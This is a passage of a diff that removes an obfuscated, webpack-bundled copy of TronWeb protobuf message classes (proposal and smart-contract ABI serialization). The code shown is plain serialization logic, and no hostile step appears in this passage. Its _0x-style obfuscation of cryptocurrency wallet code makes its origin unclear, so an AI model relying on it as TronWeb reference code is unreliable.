- _0xb28f79.setIsAddApproval(_0x1463e1);
- break;
- default:
- _0x1e3602.skipField();
- }
- }
- return _0xb28f79;
- };
- TronWebProto.ProposalApproveContract.prototype.serializeBinary = function () {
- var _0x3572d8 = new _0x5261ce.BinaryWriter();
- TronWebProto.ProposalApproveContract.serializeBinaryToWriter(this, _0x3572d8);
- return _0x3572d8.getResultBuffer();
- };
- TronWebProto.ProposalApproveContract.serializeBinaryToWriter = function (_0x1edc86, _0x2df174) {
- var _0x37a4b1 = undefined;
- (_0x37a4b1 = _0x1edc86.getOwnerAddress_asU8()).length > 0 && _0x2df174.writeBytes(1, _0x37a4b1);
- 0 !== (_0x37a4b1 = _0x1edc86.getProposalId()) && _0x2df174.writeInt64(2, _0x37a4b1);
- (_0x37a4b1 = _0x1edc86.getIsAddApproval()) && _0x2df174.writeBool(3, _0x37a4b1);
- };
- TronWebProto.ProposalApproveContract.prototype.getOwnerAddress = function () {
- return _0x5261ce.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.ProposalApproveContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x5261ce.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.ProposalApproveContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x5261ce.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.ProposalApproveContract.prototype.setOwnerAddress = function (_0x49693f) {
- return _0x5261ce.Message.setProto3BytesField(this, 1, _0x49693f);
- };
- TronWebProto.ProposalApproveContract.prototype.getProposalId = function () {
- return _0x5261ce.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.ProposalApproveContract.prototype.setProposalId = function (_0x322863) {
- return _0x5261ce.Message.setProto3IntField(this, 2, _0x322863);
- };
- TronWebProto.ProposalApproveContract.prototype.getIsAddApproval = function () {
- return _0x5261ce.Message.getBooleanFieldWithDefault(this, 3, false);
- };
- TronWebProto.ProposalApproveContract.prototype.setIsAddApproval = function (_0x180a0f) {
- return _0x5261ce.Message.setProto3BooleanField(this, 3, _0x180a0f);
- };
- _0x5261ce.Message.GENERATE_TO_OBJECT && (TronWebProto.ProposalCreateContract.prototype.toObject = function (_0x131830) {
- return TronWebProto.ProposalCreateContract.toObject(_0x131830, this);
- }, TronWebProto.ProposalCreateContract.toObject = function (_0x42c1da, _0x359346) {
- var _0xdf311a;
- var _0x29c984 = {
- ownerAddress: _0x359346.getOwnerAddress_asB64(),
- parametersMap: (_0xdf311a = _0x359346.getParametersMap()) ? _0xdf311a.toObject(_0x42c1da, undefined) : []
- };
- _0x42c1da && (_0x29c984.$jspbMessageInstance = _0x359346);
- return _0x29c984;
- });
- TronWebProto.ProposalCreateContract.deserializeBinary = function (_0x48f234) {
- var _0x340792 = new _0x5261ce.BinaryReader(_0x48f234);
- var _0x3ba12a = new TronWebProto.ProposalCreateContract();
- return TronWebProto.ProposalCreateContract.deserializeBinaryFromReader(_0x3ba12a, _0x340792);
- };
- TronWebProto.ProposalCreateContract.deserializeBinaryFromReader = function (_0x4b318f, _0x49d472) {
- for (; _0x49d472.nextField() && !_0x49d472.isEndGroup();) {
- switch (_0x49d472.getFieldNumber()) {
- case 1:
- var _0x2eba89 = _0x49d472.readBytes();
- _0x4b318f.setOwnerAddress(_0x2eba89);
- break;
- case 2:
- _0x2eba89 = _0x4b318f.getParametersMap();
- _0x49d472.readMessage(_0x2eba89, function (_0x12d12e, _0x515a24) {
- _0x5261ce.Map.deserializeBinary(_0x12d12e, _0x515a24, _0x5261ce.BinaryReader.prototype.readInt64, _0x5261ce.BinaryReader.prototype.readInt64, null, 0, 0);
- });
- break;
- default:
- _0x49d472.skipField();
- }
- }
- return _0x4b318f;
- };
- TronWebProto.ProposalCreateContract.prototype.serializeBinary = function () {
- var _0x33a9fb = new _0x5261ce.BinaryWriter();
- TronWebProto.ProposalCreateContract.serializeBinaryToWriter(this, _0x33a9fb);
- return _0x33a9fb.getResultBuffer();
- };
- TronWebProto.ProposalCreateContract.serializeBinaryToWriter = function (_0x33fbd3, _0x3394a1) {
- var _0x5433e6 = undefined;
- (_0x5433e6 = _0x33fbd3.getOwnerAddress_asU8()).length > 0 && _0x3394a1.writeBytes(1, _0x5433e6);
- (_0x5433e6 = _0x33fbd3.getParametersMap(true)) && _0x5433e6.getLength() > 0 && _0x5433e6.serializeBinary(2, _0x3394a1, _0x5261ce.BinaryWriter.prototype.writeInt64, _0x5261ce.BinaryWriter.prototype.writeInt64);
- };
- TronWebProto.ProposalCreateContract.prototype.getOwnerAddress = function () {
- return _0x5261ce.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.ProposalCreateContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x5261ce.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.ProposalCreateContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x5261ce.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.ProposalCreateContract.prototype.setOwnerAddress = function (_0x20c283) {
- return _0x5261ce.Message.setProto3BytesField(this, 1, _0x20c283);
- };
- TronWebProto.ProposalCreateContract.prototype.getParametersMap = function (_0x469b55) {
- return _0x5261ce.Message.getMapField(this, 2, _0x469b55, null);
- };
- TronWebProto.ProposalCreateContract.prototype.clearParametersMap = function () {
- this.getParametersMap().clear();
- return this;
- };
- _0x5261ce.Message.GENERATE_TO_OBJECT && (TronWebProto.ProposalDeleteContract.prototype.toObject = function (_0x2d877f) {
- return TronWebProto.ProposalDeleteContract.toObject(_0x2d877f, this);
- }, TronWebProto.ProposalDeleteContract.toObject = function (_0x29adad, _0x3b680f) {
- var _0x25ffc5 = {
- ownerAddress: _0x3b680f.getOwnerAddress_asB64(),
- proposalId: _0x5261ce.Message.getFieldWithDefault(_0x3b680f, 2, 0)
- };
- _0x29adad && (_0x25ffc5.$jspbMessageInstance = _0x3b680f);
- return _0x25ffc5;
- });
- TronWebProto.ProposalDeleteContract.deserializeBinary = function (_0x1827af) {
- var _0x2692b5 = new _0x5261ce.BinaryReader(_0x1827af);
- var _0x428b78 = new TronWebProto.ProposalDeleteContract();
- return TronWebProto.ProposalDeleteContract.deserializeBinaryFromReader(_0x428b78, _0x2692b5);
- };
- TronWebProto.ProposalDeleteContract.deserializeBinaryFromReader = function (_0x276b4b, _0x426024) {
- for (; _0x426024.nextField() && !_0x426024.isEndGroup();) {
- switch (_0x426024.getFieldNumber()) {
- case 1:
- var _0x257f2f = _0x426024.readBytes();
- _0x276b4b.setOwnerAddress(_0x257f2f);
- break;
- case 2:
- _0x257f2f = _0x426024.readInt64();
- _0x276b4b.setProposalId(_0x257f2f);
- break;
- default:
- _0x426024.skipField();
- }
- }
- return _0x276b4b;
- };
- TronWebProto.ProposalDeleteContract.prototype.serializeBinary = function () {
- var _0x2c03dd = new _0x5261ce.BinaryWriter();
- TronWebProto.ProposalDeleteContract.serializeBinaryToWriter(this, _0x2c03dd);
- return _0x2c03dd.getResultBuffer();
- };
- TronWebProto.ProposalDeleteContract.serializeBinaryToWriter = function (_0x29526c, _0x321311) {
- var _0x40f7cd = undefined;
- (_0x40f7cd = _0x29526c.getOwnerAddress_asU8()).length > 0 && _0x321311.writeBytes(1, _0x40f7cd);
- 0 !== (_0x40f7cd = _0x29526c.getProposalId()) && _0x321311.writeInt64(2, _0x40f7cd);
- };
- TronWebProto.ProposalDeleteContract.prototype.getOwnerAddress = function () {
- return _0x5261ce.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.ProposalDeleteContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x5261ce.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.ProposalDeleteContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x5261ce.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.ProposalDeleteContract.prototype.setOwnerAddress = function (_0x55afd7) {
- return _0x5261ce.Message.setProto3BytesField(this, 1, _0x55afd7);
- };
- TronWebProto.ProposalDeleteContract.prototype.getProposalId = function () {
- return _0x5261ce.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.ProposalDeleteContract.prototype.setProposalId = function (_0x3e7c5a) {
- return _0x5261ce.Message.setProto3IntField(this, 2, _0x3e7c5a);
- };
- _0x50b6c9.object.extend(_0x361c4c, TronWebProto);
- },
- 5171: (_0x459848, _0xda95dc, _0x1fc39e) => {
- var _0x4c9339 = _0x1fc39e(5595);
- var _0x45ec88 = _0x4c9339;
- var _0x1d7238 = "undefined" != typeof globalThis && globalThis || "undefined" != typeof window && window || undefined !== _0x1d7238 && _0x1d7238 || "undefined" != typeof self && self || function () {
- return this;
- }.call(null) || Function("return this")();
- var _0x3285db = _0x1fc39e(8020);
- _0x45ec88.object.extend(proto, _0x3285db);
- _0x45ec88.exportSymbol("TronWebProto.ClearABIContract", null, _0x1d7238);
- _0x45ec88.exportSymbol("TronWebProto.ContractState", null, _0x1d7238);
- _0x45ec88.exportSymbol("TronWebProto.CreateSmartContract", null, _0x1d7238);
- _0x45ec88.exportSymbol("TronWebProto.SmartContract", null, _0x1d7238);
- _0x45ec88.exportSymbol("TronWebProto.SmartContract.ABI", null, _0x1d7238);
- _0x45ec88.exportSymbol("TronWebProto.SmartContract.ABI.Entry", null, _0x1d7238);
- _0x45ec88.exportSymbol("TronWebProto.SmartContract.ABI.Entry.EntryType", null, _0x1d7238);
- _0x45ec88.exportSymbol("TronWebProto.SmartContract.ABI.Entry.Param", null, _0x1d7238);
- _0x45ec88.exportSymbol("TronWebProto.SmartContract.ABI.Entry.StateMutabilityType", null, _0x1d7238);
- _0x45ec88.exportSymbol("TronWebProto.SmartContractDataWrapper", null, _0x1d7238);
- _0x45ec88.exportSymbol("TronWebProto.TriggerSmartContract", null, _0x1d7238);
- _0x45ec88.exportSymbol("TronWebProto.UpdateEnergyLimitContract", null, _0x1d7238);
- _0x45ec88.exportSymbol("TronWebProto.UpdateSettingContract", null, _0x1d7238);
- TronWebProto.SmartContract = function (_0x50e8a0) {
- _0x4c9339.Message.initialize(this, _0x50e8a0, 0, -1, null, null);
- };
- _0x45ec88.inherits(TronWebProto.SmartContract, _0x4c9339.Message);
- _0x45ec88.DEBUG && !COMPILED && (TronWebProto.SmartContract.displayName = "TronWebProto.SmartContract");
- TronWebProto.SmartContract.ABI = function (_0x305e2b) {
- _0x4c9339.Message.initialize(this, _0x305e2b, 0, -1, TronWebProto.SmartContract.ABI.repeatedFields_, null);
- };
- _0x45ec88.inherits(TronWebProto.SmartContract.ABI, _0x4c9339.Message);
- _0x45ec88.DEBUG && !COMPILED && (TronWebProto.SmartContract.ABI.displayName = "TronWebProto.SmartContract.ABI");
- TronWebProto.SmartContract.ABI.Entry = function (_0x45b7b8) {
- _0x4c9339.Message.initialize(this, _0x45b7b8, 0, -1, TronWebProto.SmartContract.ABI.Entry.repeatedFields_, null);
- };
- _0x45ec88.inherits(TronWebProto.SmartContract.ABI.Entry, _0x4c9339.Message);
- _0x45ec88.DEBUG && !COMPILED && (TronWebProto.SmartContract.ABI.Entry.displayName = "TronWebProto.SmartContract.ABI.Entry");
- TronWebProto.SmartContract.ABI.Entry.Param = function (_0x10fcd0) {
- _0x4c9339.Message.initialize(this, _0x10fcd0, 0, -1, null, null);
- };
- _0x45ec88.inherits(TronWebProto.SmartContract.ABI.Entry.Param, _0x4c9339.Message);
- _0x45ec88.DEBUG && !COMPILED && (TronWebProto.SmartContract.ABI.Entry.Param.displayName = "TronWebProto.SmartContract.ABI.Entry.Param");
- TronWebProto.ContractState = function (_0x214810) {
- _0x4c9339.Message.initialize(this, _0x214810, 0, -1, null, null);
- };
- _0x45ec88.inherits(TronWebProto.ContractState, _0x4c9339.Message);
- _0x45ec88.DEBUG && !COMPILED && (TronWebProto.ContractState.displayName = "TronWebProto.ContractState");
- TronWebProto.CreateSmartContract = function (_0x2dbe24) {
- _0x4c9339.Message.initialize(this, _0x2dbe24, 0, -1, null, null);
- };
- _0x45ec88.inherits(TronWebProto.CreateSmartContract, _0x4c9339.Message);
- _0x45ec88.DEBUG && !COMPILED && (TronWebProto.CreateSmartContract.displayName = "TronWebProto.CreateSmartContract");
- TronWebProto.TriggerSmartContract = function (_0x8ca0ed) {
- _0x4c9339.Message.initialize(this, _0x8ca0ed, 0, -1, null, null);
- };
- _0x45ec88.inherits(TronWebProto.TriggerSmartContract, _0x4c9339.Message);
- _0x45ec88.DEBUG && !COMPILED && (TronWebProto.TriggerSmartContract.displayName = "TronWebProto.TriggerSmartContract");
- TronWebProto.ClearABIContract = function (_0xb8e68f) {
- _0x4c9339.Message.initialize(this, _0xb8e68f, 0, -1, null, null);
- };
- _0x45ec88.inherits(TronWebProto.ClearABIContract, _0x4c9339.Message);
- _0x45ec88.DEBUG && !COMPILED && (TronWebProto.ClearABIContract.displayName = "TronWebProto.ClearABIContract");
- TronWebProto.UpdateSettingContract = function (_0x25c3ca) {
- _0x4c9339.Message.initialize(this, _0x25c3ca, 0, -1, null, null);
- };
- _0x45ec88.inherits(TronWebProto.UpdateSettingContract, _0x4c9339.Message);
- _0x45ec88.DEBUG && !COMPILED && (TronWebProto.UpdateSettingContract.displayName = "TronWebProto.UpdateSettingContract");
- TronWebProto.UpdateEnergyLimitContract = function (_0x3cd21f) {
- _0x4c9339.Message.initialize(this, _0x3cd21f, 0, -1, null, null);
- };
- _0x45ec88.inherits(TronWebProto.UpdateEnergyLimitContract, _0x4c9339.Message);
- _0x45ec88.DEBUG && !COMPILED && (TronWebProto.UpdateEnergyLimitContract.displayName = "TronWebProto.UpdateEnergyLimitContract");
- TronWebProto.SmartContractDataWrapper = function (_0x41cb62) {
- _0x4c9339.Message.initialize(this, _0x41cb62, 0, -1, null, null);
- };
- _0x45ec88.inherits(TronWebProto.SmartContractDataWrapper, _0x4c9339.Message);
- _0x45ec88.DEBUG && !COMPILED && (TronWebProto.SmartContractDataWrapper.displayName = "TronWebProto.SmartContractDataWrapper");
- _0x4c9339.Message.GENERATE_TO_OBJECT && (TronWebProto.SmartContract.prototype.toObject = function (_0x5aa622) {
- return TronWebProto.SmartContract.toObject(_0x5aa622, this);
- }, TronWebProto.SmartContract.toObject = function (_0x17a01c, _0x3b470c) {
- var _0x4280df;
- var _0x155583 = {
- originAddress: _0x3b470c.getOriginAddress_asB64(),
- contractAddress: _0x3b470c.getContractAddress_asB64(),
- abi: (_0x4280df = _0x3b470c.getAbi()) && TronWebProto.SmartContract.ABI.toObject(_0x17a01c, _0x4280df),
- bytecode: _0x3b470c.getBytecode_asB64(),
- callValue: _0x4c9339.Message.getFieldWithDefault(_0x3b470c, 5, 0),
- consumeUserResourcePercent: _0x4c9339.Message.getFieldWithDefault(_0x3b470c, 6, 0),
- name: _0x4c9339.Message.getFieldWithDefault(_0x3b470c, 7, ""),
- originEnergyLimit: _0x4c9339.Message.getFieldWithDefault(_0x3b470c, 8, 0),
- codeHash: _0x3b470c.getCodeHash_asB64(),
- trxHash: _0x3b470c.getTrxHash_asB64(),
- version: _0x4c9339.Message.getFieldWithDefault(_0x3b470c, 11, 0)
- };
- _0x17a01c && (_0x155583.$jspbMessageInstance = _0x3b470c);
- return _0x155583;
- });
- TronWebProto.SmartContract.deserializeBinary = function (_0x1d9128) {
- var _0x4cb1e2 = new _0x4c9339.BinaryReader(_0x1d9128);
- var _0x1bfad0 = new TronWebProto.SmartContract();
- return TronWebProto.SmartContract.deserializeBinaryFromReader(_0x1bfad0, _0x4cb1e2);
- };
- TronWebProto.SmartContract.deserializeBinaryFromReader = function (_0x30a958, _0x7ee36a) {
- for (; _0x7ee36a.nextField() && !_0x7ee36a.isEndGroup();) {
- switch (_0x7ee36a.getFieldNumber()) {
- case 1:
- var _0x518710 = _0x7ee36a.readBytes();
- _0x30a958.setOriginAddress(_0x518710);
- break;
- case 2:
- _0x518710 = _0x7ee36a.readBytes();
- _0x30a958.setContractAddress(_0x518710);
- break;
- case 3:
- _0x518710 = new TronWebProto.SmartContract.ABI();
- _0x7ee36a.readMessage(_0x518710, TronWebProto.SmartContract.ABI.deserializeBinaryFromReader);
- _0x30a958.setAbi(_0x518710);
- break;
- case 4:
- _0x518710 = _0x7ee36a.readBytes();
- _0x30a958.setBytecode(_0x518710);
- break;
- case 5:
- _0x518710 = _0x7ee36a.readInt64();
- _0x30a958.setCallValue(_0x518710);
- break;
- case 6:
- _0x518710 = _0x7ee36a.readInt64();
- _0x30a958.setConsumeUserResourcePercent(_0x518710);
- break;
- case 7:
- _0x518710 = _0x7ee36a.readString();
- _0x30a958.setName(_0x518710);
- break;
- case 8:
- _0x518710 = _0x7ee36a.readInt64();
- _0x30a958.setOriginEnergyLimit(_0x518710);
- break;
- case 9:
- _0x518710 = _0x7ee36a.readBytes();
- _0x30a958.setCodeHash(_0x518710);
- break;
- case 10:
- _0x518710 = _0x7ee36a.readBytes();
- _0x30a958.setTrxHash(_0x518710);
- break;
- case 11:
- _0x518710 = _0x7ee36a.readInt32();
- _0x30a958.setVersion(_0x518710);
- break;
- default:
- _0x7ee36a.skipField();
- }
- }
- return _0x30a958;
- };
- TronWebProto.SmartContract.prototype.serializeBinary = function () {
- var _0x2831a3 = new _0x4c9339.BinaryWriter();
- TronWebProto.SmartContract.serializeBinaryToWriter(this, _0x2831a3);
- return _0x2831a3.getResultBuffer();
- };
- TronWebProto.SmartContract.serializeBinaryToWriter = function (_0x3a461d, _0x3a9a43) {
- var _0xc56f10 = undefined;
- (_0xc56f10 = _0x3a461d.getOriginAddress_asU8()).length > 0 && _0x3a9a43.writeBytes(1, _0xc56f10);
- (_0xc56f10 = _0x3a461d.getContractAddress_asU8()).length > 0 && _0x3a9a43.writeBytes(2, _0xc56f10);
- null != (_0xc56f10 = _0x3a461d.getAbi()) && _0x3a9a43.writeMessage(3, _0xc56f10, TronWebProto.SmartContract.ABI.serializeBinaryToWriter);
- (_0xc56f10 = _0x3a461d.getBytecode_asU8()).length > 0 && _0x3a9a43.writeBytes(4, _0xc56f10);
- 0 !== (_0xc56f10 = _0x3a461d.getCallValue()) && _0x3a9a43.writeInt64(5, _0xc56f10);
- 0 !== (_0xc56f10 = _0x3a461d.getConsumeUserResourcePercent()) && _0x3a9a43.writeInt64(6, _0xc56f10);
- (_0xc56f10 = _0x3a461d.getName()).length > 0 && _0x3a9a43.writeString(7, _0xc56f10);
- 0 !== (_0xc56f10 = _0x3a461d.getOriginEnergyLimit()) && _0x3a9a43.writeInt64(8, _0xc56f10);
- (_0xc56f10 = _0x3a461d.getCodeHash_asU8()).length > 0 && _0x3a9a43.writeBytes(9, _0xc56f10);
- (_0xc56f10 = _0x3a461d.getTrxHash_asU8()).length > 0 && _0x3a9a43.writeBytes(10, _0xc56f10);
- 0 !== (_0xc56f10 = _0x3a461d.getVersion()) && _0x3a9a43.writeInt32(11, _0xc56f10);
- };
- TronWebProto.SmartContract.ABI.repeatedFields_ = [1];
- _0x4c9339.Message.GENERATE_TO_OBJECT && (TronWebProto.SmartContract.ABI.prototype.toObject = function (_0xafa34c) {
- return TronWebProto.SmartContract.ABI.toObject(_0xafa34c, this);
- }, TronWebProto.SmartContract.ABI.toObject = function (_0x45e6b2, _0x4e89d8) {
- var _0x5dc940 = {
- entrysList: _0x4c9339.Message.toObjectList(_0x4e89d8.getEntrysList(), TronWebProto.SmartContract.ABI.Entry.toObject, _0x45e6b2)
- };
- _0x45e6b2 && (_0x5dc940.$jspbMessageInstance = _0x4e89d8);
- return _0x5dc940;
- });
- TronWebProto.SmartContract.ABI.deserializeBinary = function (_0x2267dd) {
- var _0x37f2c4 = new _0x4c9339.BinaryReader(_0x2267dd);
- var _0x586e7e = new TronWebProto.SmartContract.ABI();
- return TronWebProto.SmartContract.ABI.deserializeBinaryFromReader(_0x586e7e, _0x37f2c4);
- };
- TronWebProto.SmartContract.ABI.deserializeBinaryFromReader = function (_0x170ab9, _0x4199fd) {
- for (; _0x4199fd.nextField() && !_0x4199fd.isEndGroup();) {
- if (1 === _0x4199fd.getFieldNumber()) {
- var _0x3f9d98 = new TronWebProto.SmartContract.ABI.Entry();
- _0x4199fd.readMessage(_0x3f9d98, TronWebProto.SmartContract.ABI.Entry.deserializeBinaryFromReader);
- _0x170ab9.addEntrys(_0x3f9d98);
- } else {
- _0x4199fd.skipField();
- }
- }
- return _0x170ab9;
- };
- TronWebProto.SmartContract.ABI.prototype.serializeBinary = function () {
- var _0x5d9357 = new _0x4c9339.BinaryWriter();
- TronWebProto.SmartContract.ABI.serializeBinaryToWriter(this, _0x5d9357);
- return _0x5d9357.getResultBuffer();
- };
- TronWebProto.SmartContract.ABI.serializeBinaryToWriter = function (_0x2d179c, _0x435adf) {
- var _0xe5887a;
- (_0xe5887a = _0x2d179c.getEntrysList()).length > 0 && _0x435adf.writeRepeatedMessage(1, _0xe5887a, TronWebProto.SmartContract.ABI.Entry.serializeBinaryToWriter);
- };
- TronWebProto.SmartContract.ABI.Entry.repeatedFields_ = [4, 5];
- _0x4c9339.Message.GENERATE_TO_OBJECT && (TronWebProto.SmartContract.ABI.Entry.prototype.toObject = function (_0x51471c) {
- return TronWebProto.SmartContract.ABI.Entry.toObject(_0x51471c, this);
- }, TronWebProto.SmartContract.ABI.Entry.toObject = function (_0x4ed81f, _0x430afd) {
- var _0x55c875 = {
- anonymous: _0x4c9339.Message.getBooleanFieldWithDefault(_0x430afd, 1, false),
- constant: _0x4c9339.Message.getBooleanFieldWithDefault(_0x430afd, 2, false),
- name: _0x4c9339.Message.getFieldWithDefault(_0x430afd, 3, ""),
- inputsList: _0x4c9339.Message.toObjectList(_0x430afd.getInputsList(), TronWebProto.SmartContract.ABI.Entry.Param.toObject, _0x4ed81f),
- outputsList: _0x4c9339.Message.toObjectList(_0x430afd.getOutputsList(), TronWebProto.SmartContract.ABI.Entry.Param.toObject, _0x4ed81f),
- type: _0x4c9339.Message.getFieldWithDefault(_0x430afd, 6, 0),
- payable: _0x4c9339.Message.getBooleanFieldWithDefault(_0x430afd, 7, false),
- statemutability: _0x4c9339.Message.getFieldWithDefault(_0x430afd, 8, 0)
- };
- _0x4ed81f && (_0x55c875.$jspbMessageInstance = _0x430afd);
- return _0x55c875;
- });
- TronWebProto.SmartContract.ABI.Entry.deserializeBinary = function (_0x4f7643) {
- var _0x1f2ab0 = new _0x4c9339.BinaryReader(_0x4f7643);
- var _0x3bc243 = new TronWebProto.SmartContract.ABI.Entry();
- return TronWebProto.SmartContract.ABI.Entry.deserializeBinaryFromReader(_0x3bc243, _0x1f2ab0);
- };
- TronWebProto.SmartContract.ABI.Entry.deserializeBinaryFromReader = function (_0x567e2c, _0x5b0012) {
- for (; _0x5b0012.nextField() && !_0x5b0012.isEndGroup();) {
- switch (_0x5b0012.getFieldNumber()) {
- case 1:
- var _0x2d119f = _0x5b0012.readBool();
- _0x567e2c.setAnonymous(_0x2d119f);
- break;
- case 2:
- _0x2d119f = _0x5b0012.readBool();
- _0x567e2c.setConstant(_0x2d119f);
- break;
- case 3:
- _0x2d119f = _0x5b0012.readString();
- _0x567e2c.setName(_0x2d119f);
- break;
- case 4:
- _0x2d119f = new TronWebProto.SmartContract.ABI.Entry.Param();
- _0x5b0012.readMessage(_0x2d119f, TronWebProto.SmartContract.ABI.Entry.Param.deserializeBinaryFromReader);
- _0x567e2c.addInputs(_0x2d119f);
- break;
- case 5:
- _0x2d119f = new TronWebProto.SmartContract.ABI.Entry.Param();
- _0x5b0012.readMessage(_0x2d119f, TronWebProto.SmartContract.ABI.Entry.Param.deserializeBinaryFromReader);
- _0x567e2c.addOutputs(_0x2d119f);
- break;
- case 6:
- _0x2d119f = _0x5b0012.readEnum();
- _0x567e2c.setType(_0x2d119f);
- break;
- case 7:
- _0x2d119f = _0x5b0012.readBool();
- _0x567e2c.setPayable(_0x2d119f);
- break;
- case 8:
- _0x2d119f = _0x5b0012.readEnum();
- _0x567e2c.setStatemutability(_0x2d119f);
- break;
- default:
- _0x5b0012.skipField();
- }
- }
- return _0x567e2c;
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.serializeBinary = function () {
- var _0x879d7b = new _0x4c9339.BinaryWriter();
- TronWebProto.SmartContract.ABI.Entry.serializeBinaryToWriter(this, _0x879d7b);
- return _0x879d7b.getResultBuffer();
- };
- TronWebProto.SmartContract.ABI.Entry.serializeBinaryToWriter = function (_0x1a137f, _0x54951e) {
- var _0x1dbca1 = undefined;
- (_0x1dbca1 = _0x1a137f.getAnonymous()) && _0x54951e.writeBool(1, _0x1dbca1);
- (_0x1dbca1 = _0x1a137f.getConstant()) && _0x54951e.writeBool(2, _0x1dbca1);
- (_0x1dbca1 = _0x1a137f.getName()).length > 0 && _0x54951e.writeString(3, _0x1dbca1);
- (_0x1dbca1 = _0x1a137f.getInputsList()).length > 0 && _0x54951e.writeRepeatedMessage(4, _0x1dbca1, TronWebProto.SmartContract.ABI.Entry.Param.serializeBinaryToWriter);
- (_0x1dbca1 = _0x1a137f.getOutputsList()).length > 0 && _0x54951e.writeRepeatedMessage(5, _0x1dbca1, TronWebProto.SmartContract.ABI.Entry.Param.serializeBinaryToWriter);
- 0 !== (_0x1dbca1 = _0x1a137f.getType()) && _0x54951e.writeEnum(6, _0x1dbca1);
- (_0x1dbca1 = _0x1a137f.getPayable()) && _0x54951e.writeBool(7, _0x1dbca1);
- 0 !== (_0x1dbca1 = _0x1a137f.getStatemutability()) && _0x54951e.writeEnum(8, _0x1dbca1);
- };
- TronWebProto.SmartContract.ABI.Entry.EntryType = {
- UNKNOWNENTRYTYPE: 0,
- CONSTRUCTOR: 1,
- FUNCTION: 2,
- EVENT: 3,
- FALLBACK: 4,
- RECEIVE: 5,
- ERROR: 6
- };
- TronWebProto.SmartContract.ABI.Entry.StateMutabilityType = {
- UNKNOWNMUTABILITYTYPE: 0,
- PURE: 1,
- VIEW: 2,
- NONPAYABLE: 3,
- PAYABLE: 4
- };
- _0x4c9339.Message.GENERATE_TO_OBJECT && (TronWebProto.SmartContract.ABI.Entry.Param.prototype.toObject = function (_0x3839b4) {
- return TronWebProto.SmartContract.ABI.Entry.Param.toObject(_0x3839b4, this);
- }, TronWebProto.SmartContract.ABI.Entry.Param.toObject = function (_0x5e5165, _0x75cc80) {
- var _0x3c3be7 = {
- indexed: _0x4c9339.Message.getBooleanFieldWithDefault(_0x75cc80, 1, false),
- name: _0x4c9339.Message.getFieldWithDefault(_0x75cc80, 2, ""),
- type: _0x4c9339.Message.getFieldWithDefault(_0x75cc80, 3, "")
- };
- _0x5e5165 && (_0x3c3be7.$jspbMessageInstance = _0x75cc80);
- return _0x3c3be7;
- });
- TronWebProto.SmartContract.ABI.Entry.Param.deserializeBinary = function (_0x4cfe59) {
- var _0x3c8d93 = new _0x4c9339.BinaryReader(_0x4cfe59);
- var _0x30cd88 = new TronWebProto.SmartContract.ABI.Entry.Param();
- return TronWebProto.SmartContract.ABI.Entry.Param.deserializeBinaryFromReader(_0x30cd88, _0x3c8d93);
- };
- TronWebProto.SmartContract.ABI.Entry.Param.deserializeBinaryFromReader = function (_0x5e1f19, _0x586bb5) {
- for (; _0x586bb5.nextField() && !_0x586bb5.isEndGroup();) {
- switch (_0x586bb5.getFieldNumber()) {
- case 1:
- var _0x40d168 = _0x586bb5.readBool();
- _0x5e1f19.setIndexed(_0x40d168);
- break;
- case 2:
- _0x40d168 = _0x586bb5.readString();
- _0x5e1f19.setName(_0x40d168);
- break;
- case 3:
- _0x40d168 = _0x586bb5.readString();
- _0x5e1f19.setType(_0x40d168);
- break;
- default:
- _0x586bb5.skipField();
- }
- }
- return _0x5e1f19;
- };
- TronWebProto.SmartContract.ABI.Entry.Param.prototype.serializeBinary = function () {
- var _0x5da970 = new _0x4c9339.BinaryWriter();
- TronWebProto.SmartContract.ABI.Entry.Param.serializeBinaryToWriter(this, _0x5da970);
- return _0x5da970.getResultBuffer();
- };
- TronWebProto.SmartContract.ABI.Entry.Param.serializeBinaryToWriter = function (_0x542e2e, _0x4238fe) {
- var _0x4066b2 = undefined;
- (_0x4066b2 = _0x542e2e.getIndexed()) && _0x4238fe.writeBool(1, _0x4066b2);
- (_0x4066b2 = _0x542e2e.getName()).length > 0 && _0x4238fe.writeString(2, _0x4066b2);
- (_0x4066b2 = _0x542e2e.getType()).length > 0 && _0x4238fe.writeString(3, _0x4066b2);
- };
- TronWebProto.SmartContract.ABI.Entry.Param.prototype.getIndexed = function () {
- return _0x4c9339.Message.getBooleanFieldWithDefault(this, 1, false);
- };
- TronWebProto.SmartContract.ABI.Entry.Param.prototype.setIndexed = function (_0x2367eb) {
- return _0x4c9339.Message.setProto3BooleanField(this, 1, _0x2367eb);
- };
- TronWebProto.SmartContract.ABI.Entry.Param.prototype.getName = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.SmartContract.ABI.Entry.Param.prototype.setName = function (_0x267a08) {
- return _0x4c9339.Message.setProto3StringField(this, 2, _0x267a08);
- };
- TronWebProto.SmartContract.ABI.Entry.Param.prototype.getType = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 3, "");
- };
- TronWebProto.SmartContract.ABI.Entry.Param.prototype.setType = function (_0x46c532) {
- return _0x4c9339.Message.setProto3StringField(this, 3, _0x46c532);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.getAnonymous = function () {
- return _0x4c9339.Message.getBooleanFieldWithDefault(this, 1, false);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.setAnonymous = function (_0x51811f) {
- return _0x4c9339.Message.setProto3BooleanField(this, 1, _0x51811f);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.getConstant = function () {
- return _0x4c9339.Message.getBooleanFieldWithDefault(this, 2, false);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.setConstant = function (_0x430602) {
